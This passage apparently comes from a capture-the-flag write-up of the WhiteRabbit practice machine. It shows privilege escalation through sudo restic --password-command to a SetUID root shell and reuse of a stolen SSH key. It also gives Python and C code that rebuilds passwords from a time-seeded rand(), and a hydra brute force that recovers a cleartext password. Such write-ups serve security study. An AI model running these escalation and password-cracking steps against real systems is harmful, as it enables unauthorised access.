1: 020011AC:0016 020E0A0A:CD9E 01 00000034:00000000 01:00000016 00000000 0 0 20908 4 0000000000000000 22 4 1 15 -1
There are no other users with home directories in /home or with shells in passwd:
bob@ebdce80611e9:/home$ ls
bob
bob@ebdce80611e9:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bob:x:1001:1001::/home/bob:/bin/bash
bob can run restic as any user without a password:
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bob may run the following commands on ebdce80611e9:
(ALL) NOPASSWD: /usr/bin/restic
Execution
I’ll use the same --password-command flag I showed in the third way to escalate via Backrest on Artificial. To make sure it works, I’ll start with a simple touch:
bob@ebdce80611e9:~$ sudo restic check --password-command 'touch /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-2056660737
Fatal: Please specify repository location (-r or --repository-file)
Even though it errors out, the file exists, owned by root:
bob@ebdce80611e9:~$ ls -l /tmp/
total 0
-rw-r--r-- 1 root root 0 Nov 23 12:17 0xdf
I’ll use two commands to make a copy of bash (owned by root) and then set it as SetUID / SetGID:
bob@ebdce80611e9:~$ sudo restic check --password-command 'cp /bin/bash /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-2555265670
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ ls -l /tmp/
total 1416
-rw-r--r-- 1 root root 1446024 Nov 23 12:20 0xdf
bob@ebdce80611e9:~$ sudo restic check --password-command 'chmod 6777 /tmp/0xdf'
using temporary cache in /tmp/restic-check-cache-4288576323
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ ls -l /tmp/
total 1416
-rwsrwsrwx 1 root root 1446024 Nov 23 12:20 0xdf
Running with -p to not drop privs gives a root shell:
bob@ebdce80611e9:~$ /tmp/0xdf -p
0xdf-5.2#
Shell as morpheus on WhiteRabbit
/root is pretty empty other than a SSH keypair:
0xdf-5.2# find . -type f -ls
458822 4 -rw-r--r-- 1 root root 161 Apr 22 2024 ./.profile
458821 4 -rw-r--r-- 1 root root 3106 Apr 22 2024 ./.bashrc
19926 4 -rw-r--r-- 1 root root 186 Aug 30 2024 ./morpheus.pub
19917 4 -rw------- 1 root root 505 Aug 30 2024 ./morpheus
The public key shows it was created with the comment morpheus@whiterabbit.htb:
0xdf-5.2# cat morpheus.pub
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+wJa+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR4= morpheus@whiterabbit.htb
I’ll save a copy of the private key to my host, and SSH to port 22 (the likely host), and it works:
oxdf@hacky$ ssh -i morpheus morpheus@whiterabbit.htb
Warning: Permanently added 'whiterabbit.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
...[snip]...
morpheus@whiterabbit:~$
Oddly, the comment in the private key doesn’t match:
oxdf@hacky$ cat morpheus | grep -v KEY | base64 -d | strings | grep @
flx@blacklist
It’s very weird for a public / private key pair to have mis-matched comments. My best guess is that the box was originally going to be named blacklist, and then it changed later, and the author manually edited the comment of the public key, but didn’t edit the private key because it stored in an encoded / binary format. FLX is the box author, so the username matches.
Shell as neo on WhiteRabbit
Enumeration
Nothing too exciting in the morpheus user’s home directory:
morpheus@whiterabbit:~$ find . -type f -ls
27 0 -rw-r--r-- 1 morpheus morpheus 0 Aug 30 2024 ./.cache/motd.legal-displayed
24 4 -rw-r--r-- 1 morpheus morpheus 807 Aug 30 2024 ./.profile
28 4 -rw-rw-r-- 1 morpheus morpheus 186 Mar 24 2025 ./.ssh/authorized_keys
5783 4 -rw-r----- 1 root morpheus 33 Nov 23 12:02 ./user.txt
25 4 -rw-r--r-- 1 morpheus morpheus 3771 Aug 30 2024 ./.bashrc
26 4 -rw-r--r-- 1 morpheus morpheus 220 Aug 30 2024 ./.bash_logout
There’s another user, neo, with a home directory in /home:
morpheus@whiterabbit:/home$ ls
morpheus neo
This matches users with shells in passwd:
morpheus@whiterabbit:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
neo:x:1000:1000:Neo:/home/neo:/bin/bash
morpheus:x:1001:1001:Morpheus,,,:/home/morpheus:/bin/bash
The neo user matches the command seen in the database earlier:
cd /home/neo/ && /opt/neo-password-generator/neo-password-generator
That directory exists as well here:
morpheus@whiterabbit:/opt$ ls
containerd docker neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ ls
neo-password-generator
file isn’t installed here, but the file starts with the ELF magic bytes:
morpheus@whiterabbit:/opt/neo-password-generator$ file neo-password-generator
-bash: file: command not found
morpheus@whiterabbit:/opt/neo-password-generator$ xxd neo-password-generator | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 8010 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 a835 0000 0000 0000 @........5......
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000 ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
00000080: 1803 0000 0000 0000 1803 0000 0000 0000 ................
00000090: 1803 0000 0000 0000 1c00 0000 0000 0000 ................
Running it generates a random 20 character password each time:
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
dQbHBUTiPP2Y8Q3ErtQ1
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
eLeGFtyGvdGJ3diIGIob
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
IMuJIzasSTbSV026NnJT
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
Um3XCV8LxnXT9hnDgg8M
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator | wc -c
21
Reverse Engineer
Some user went into neo’s home directory, ran neo-password-generator and used the result to change their password. The only users who could access that directory are neo and root, so it seems worthwhile to look for flaws in the password generation.
I’ll scp the binary to my host:
oxdf@hacky$ scp -i morpheus morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator neo-password-generator
neo-password-generator 100% 15KB 225.5KB/s 00:00
Ghidra shows that the binary is very simple. The main function gets the time of day, and then passes that to generate_password:
undefined8 main(void)
{
long in_FS_OFFSET;
timeval timestamp;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
gettimeofday(×tamp,(__timezone_ptr_t)0x0);
generate_password(timestamp.tv_sec * 1000 + timestamp.tv_usec / 1000);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
generate_password uses the timestamp to seed the random number generator, and then loops 20 times choosing a character from a hard-coded string of lower, upper, and digits:
void generate_password(uint timestamp)
{
int randint;
long in_FS_OFFSET;
int i;
char generated_password [20];
undefined1 local_14;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
srand(timestamp);
for (i = 0; i < 20; i = i + 1) {
randint = rand();
generated_password[i] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[randint % 62];
}
local_14 = 0;
puts(generated_password);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Generate Passwords
With Python
It’s important to make sure to use the same libraries to generate random numbers. The Python random module will not create the same random numbers as the C rand function, even with the same seed.
That said, Python has a mechanism to access to the LIBC rand function used in the C API, using the ctypes module. I’ll show that here:
#!/usr/bin/env python3
import sys
import ctypes
from datetime import datetime
# Load libc to use the same rand() implementation
libc = ctypes.CDLL("libc.so.6")
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def generate_password(seed: int) -> str:
libc.srand(seed)
password = ""
for _ in range(20):
password += CHARSET[libc.rand() % 62]
return password
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} 'YYYY-MM-DD HH:MM:SS'")
print(f"Example: {sys.argv[0]} '2025-01-15 14:30:45'")
sys.exit(1)
try:
dt = datetime.strptime(sys.argv[1], "%Y-%m-%d %H:%M:%S")
except ValueError:
print("Error: Invalid timestamp format. Use 'YYYY-MM-DD HH:MM:SS'")
sys.exit(1)
timestamp_sec = int(dt.timestamp())
seen = set()
for ms in range(1000):
seed = timestamp_sec * 1000 + ms
password = generate_password(seed)
if password not in seen:
seen.add(password)
print(password)
if __name__ == "__main__":
main()
I’ll run this to generate all the passwords from the timestamp in the DB:
oxdf@hacky$ python gen_passwords.py '2024-08-30 14:40:42' | tee neo_passwords_py | head
L7Qf2aFEohexxuk07tEw
hN6DEuEFtQ5LZX8uxw9r
lWL7jrjJTC54qDojrCvV
mnQ1II9iyvPJRhLBMVfB
XSfLZ30sr8sjDJbx8geU
cOBXPQDByTiWBDDEYJXK
R4njydUwbk3uML4yVoT9
gUepuICfnxFcf7e7K7RA
c4L87irvHxX7pZGX9if6
Y7a6NqegKAmmdunHc6Uq
With C
l can do the same in C (with the help of Claude):
#define _XOPEN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
const char *CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
void generate_password(unsigned int seed) {
char password[21];
srand(seed);
for (int i = 0; i < 20; i++) {
password[i] = CHARSET[rand() % 62];
}
password[20] = '\0';
puts(password);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s 'YYYY-MM-DD HH:MM:SS'\n", argv[0]);
fprintf(stderr, "Example: %s '2025-01-15 14:30:45'\n", argv[0]);
return 1;
}
struct tm tm = {0};
if (strptime(argv[1], "%Y-%m-%d %H:%M:%S", &tm) == NULL) {
fprintf(stderr, "Error: Invalid timestamp format. Use 'YYYY-MM-DD HH:MM:SS'\n");
return 1;
}
time_t timestamp_sec = mktime(&tm);
if (timestamp_sec == -1) {
fprintf(stderr, "Error: Failed to convert timestamp\n");
return 1;
}
for (int ms = 0; ms < 1000; ms++) {
unsigned int seed = (unsigned int)(timestamp_sec * 1000 + ms);
generate_password(seed);
}
return 0;
}
I’ll compile this and run it:
oxdf@hacky$ ./gen_passwords '2024-08-30 14:40:42' | tee neo_passwords_c | head
L7Qf2aFEohexxuk07tEw
hN6DEuEFtQ5LZX8uxw9r
lWL7jrjJTC54qDojrCvV
mnQ1II9iyvPJRhLBMVfB
XSfLZ30sr8sjDJbx8geU
cOBXPQDByTiWBDDEYJXK
R4njydUwbk3uML4yVoT9
gUepuICfnxFcf7e7K7RA
c4L87irvHxX7pZGX9if6
Y7a6NqegKAmmdunHc6Uq
The two files are the same other than a newline at the end of the file:
oxdf@hacky$ diff neo_passwords_c neo_passwords_py
391d390
< 0p
\ No newline at end of file
SSH / su
I’ll use hydra to check this password list to see if any work for neo. If not, I can check a second before the time stamp in the DB, or check the root user. But it finds one:
oxdf@hacky$ time hydra -l neo -P neo_passwords_py ssh://whiterabbit.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-24 01:41:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 390 login tries (l:1/p:390), ~25 tries per task
[DATA] attacking ssh://whiterabbit.htb:22/
[22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-24 01:41:55
real 0m6.274s
user 0m0.045s
sys 0m0.059s
I’ll log in with SSH:
oxdf@hacky$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@whiterabbit.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
...[snip]...
neo@whiterabbit:~$
It works with su from the shell as morpheus as well:
morpheus@whiterabbit:/opt/neo-password-generator$ su - neo
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
neo@whiterabbit:~$
Shell as root on WhiteRabbit
neo can run any command as any user on WhiteRabbit with sudo:
neo@whiterabbit:~$ sudo -l
[sudo] password for neo:
Matching Defaults entries for neo on whiterabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User neo may run the following commands on whiterabbit:
(ALL : ALL) ALL
sudo -i gives a root shell:
neo@whiterabbit:~$ sudo -i
root@whiterabbit:~#
And the flag:
root@whiterabbit:~# cat root.txt
8a648f05************************





